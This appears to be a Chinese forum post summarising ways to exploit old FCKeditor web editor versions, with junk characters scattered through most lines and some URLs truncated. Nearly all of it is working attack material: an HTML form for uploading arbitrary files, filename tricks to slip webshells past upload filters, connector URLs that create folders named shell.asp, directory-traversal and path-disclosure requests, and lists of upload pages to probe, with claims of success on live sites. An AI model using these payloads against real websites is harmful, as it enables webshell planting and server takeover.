Fckeditor漏洞利用总结
/ C* p9 Z; `# j& k A5 B! k' X查看编辑器版本, ~& N* G2 i/ w6 I% F: d
FCKeditor/_whatsnew.html1 o: i) c, R) W W% Q8 r
————————————————————————————————————————————————————————————— G" O* m% I ]8 X
K: t' z- ?1 d) Y; A4 N5 v2. Version 2.2 版本
0 x' \3 @ N4 D( ?Apache+linux 环境下在上传文件后面加个.突破!测试通过。
7 t, c: c7 u2 J! |6 C—————————————————————————————————————————————————————————————
" e9 E+ ]8 \" |6 X7 r; Q# s' I7 T" g5 s0 L; H: x% M, {5 o
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
. |0 o& Q: s; a* t8 p# ?3 Y<form id="frmUpload" enctype="multipart/form-data"
* l! c0 j5 K* ~% raction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
, o2 x" t8 f) C% Y. L<input type="file" name="NewFile" size="50"><br>7 d3 |8 M0 ^+ w/ s
<input id="btnUpload" type="submit" value="Upload">
{, r6 d& P% s& e3 F</form>
# |5 L7 a, C- L4 ^1 H—————————————————————————————————————————————————————————————
+ v/ X1 b4 I2 T! ?/ X
: ]1 g+ i: M5 q. h" S; o$ ^: |4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
! K0 O/ P3 s: b* f 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
" I, Y2 P5 k3 g8 G2 r* Z 4.1:提交shell.php+空格绕过
0 G# F* C T0 v0 J f& t, f' \' ~不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
7 f6 }* N4 F2 k8 v/ Q 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。. O A9 u# Y0 @1 ]- L
—————————————————————————————————————————————————————————————; s# m' n0 V% o/ C
+ B* E9 O8 G" u, P2 \4 |& k: T5. 突破建立文件夹
* R9 v0 B6 @( N- ?" ~FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
$ T( N8 l# \/ b9 {7 j+ k, dFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
$ }1 I3 }. P9 d+ s, X1 P0 v! q, K—————————————————————————————————————————————————————————————' O) `9 m3 y! R9 ?& s; O
9 @9 O* k! y3 f4 Q: S. M6. FCKeditor 中test 文件的上传地址
5 X) F0 D, d! j' i" n: RFCKeditor/editor/filemanager/browser/default/connectors/test.html
" y' F6 a4 e/ t( U3 P! CFCKeditor/editor/filemanager/upload/test.html
, N1 o5 o" M- G4 lFCKeditor/editor/filemanager/connectors/test.html
4 `& E: O8 G; K' a g G/ ^FCKeditor/editor/filemanager/connectors/uploadtest.html
, ^! ? y. I U7 S—————————————————————————————————————————————————————————————2 r) V0 I& M7 B$ Z& U) L6 J! w% y
/ H( M% E% G8 y7 a
7.常用上传地址. m" ^6 S: U! ?5 q5 O( O2 t! c8 q0 b
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/# o0 W% l( m9 R/ U& L. }+ d
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
3 z. `( w% {/ F7 c; U4 DFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
( m1 J, B( Z2 q- P- f* eJSP 版:" T' w1 W" H G
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp3 u7 _3 P& E8 O6 R& t
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
Q+ x9 g; Q* @ s件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。7 U$ t% q7 I/ S% B2 d1 e+ h
—————————————————————————————————————————————————————————————4 ?# {6 q+ h/ D# w. Y6 r$ o/ y
) G! h- g7 A& `6 c. b6 L. ^2 j8.其他上传地址2 Q' J _. x: |" e9 y$ R
FCKeditor/_samples/default.html, [: K7 Z1 t" B0 B, q
FCKeditor/_samples/asp/sample01.asp, s" x9 {9 A- ^1 Y E3 e0 C0 w
FCKeditor/_samples/asp/sample02.asp
$ u" ]7 H; W+ d$ E( {FCKeditor/_samples/asp/sample03.asp! R3 R1 W) Y% q$ d/ \
FCKeditor/_samples/asp/sample04.asp
' E8 Z7 J7 T8 j; R一般很多站点都已删除_samples 目录,可以试试。
" t& T% I Q( fFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。& T# j. a/ s2 L) U4 Y: ^) S; h/ Y
—————————————————————————————————————————————————————————————( n4 m5 Y. ~5 D4 E( e: B
% d2 o& w8 z2 U7 _$ M5 O2 [' w$ I
9.列目录漏洞也可助找上传地址
% |" [! h, M D P0 d: UVersion 2.4.1 测试通过
: L6 Z4 \7 o0 f& g3 I修改CurrentFolder 参数使用 ../../来进入不同的目录
0 B* V5 C2 O, ?9 Z3 _2 O/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
, d& i* t' f8 k9 p" r- e7 @根据返回的XML 信息可以查看网站所有的目录。- `2 { U- B9 F
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
' @; \' K* a1 m. B7 n( B; i也可以直接浏览盘符:7 |% r6 _/ Q0 z9 K0 Z7 V: E3 L
JSP 版本:3 d2 ]/ }+ d$ H7 ]! J
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F# e& L+ m- H4 F) e8 s+ S
—————————————————————————————————————————————————————————————5 Y! a7 y4 A; l2 M! g4 f! D3 ]
% J! b* M% h4 \8 I5 i/ W
10.爆路径漏洞1 Z) b. B5 l. \+ m
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
! M _( Y! M: r& }2 C3 j2 ]. J—————————————————————————————————————————————————————————————
: J' ?% e$ p4 {; i3 ^5 e& h" z; n% u% o$ H# `
11. FCKeditor 被动限制策略所导致的过滤不严问题
. R# g3 D( _" l% k. O 影响版本: FCKeditor x.x <= FCKeditor v2.4.31 Y5 i* H, h% I; O( m
脆弱描述:
- `1 g( {+ l) R W) }2 Q9 KFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
: n! J' C1 Z! `% Khtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm9 w9 \; n# r0 p4 x$ G' L
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
2 b* j; m9 t# w6 y/ r. z% f 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。4 E" x) d$ ?' j! t% ^2 J! E
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
0 P) n3 H: t! {—————————————————————————————————————————————————————————————' n& n0 A% m6 `- {
& P# ?9 [- j6 R* w$ x* ] a
12.最古老的漏洞,Type文件没有限制!
& x) ?) S/ }: {; [$ p 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
& b3 H% |2 B; t' P8 A—————————————————————————————————————————————————————————————" n1 F1 f1 w* M9 _
3 a' i/ n8 B) @1 I3 ?5 F1 m
===============================================================================================================================================
, a7 b) F0 S# h5 i( @# |2 F2 z/ t. f5 Z4 U
FCK编辑器jsp版本漏洞:
4 b1 B' g4 v/ e8 a! R* i! }9 R! g ~
E+ [" t- }0 {+ j5 \http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
6 z: D# }: T% E! W2 r) e; l
* s, q" o: e C' ~ v& l4 B& Y上传马所在目录
! K, {; x$ I6 E r2 K7 [FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/* c$ H1 X: L- v1 }
上传shell的地址:5 l0 P0 D2 \5 c; F
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector. C' q' T( S0 y9 I" @" g4 C
跟版本有关系.并不是百分百成功. 测试成功几个站.
) Y8 A6 j o9 X. u) N' @" c$ e不能通杀.很遗憾.
1 X4 d: i, d$ |& Mhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
3 T5 H v# k! F- Q如果以上地址不行可以试试
2 U- R5 v1 L% aFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
' w! ]$ q7 D" f$ p6 O( OFCKeditor/_samples/
( f o6 Y; O; O/ q. u5 [FCKeditor/_samples/default.html
* c+ j+ i' O# ]7 ?FCKeditor/editor/fckeditor.htm
7 y0 y' D M8 L3 H t( TFCKeditor/editor/fckdialog.html' @+ b4 J: Y3 A* ]' E" g! L
! D" {: k+ {+ _0 d. Z
2 G6 @. H' b, O5 p, }% k6 e& ^! z9 m
2 U5 S5 @% G0 Z解析漏洞+未重命名文件时上传漏洞 1.asp;jpg5 o; F5 H y) L* m
|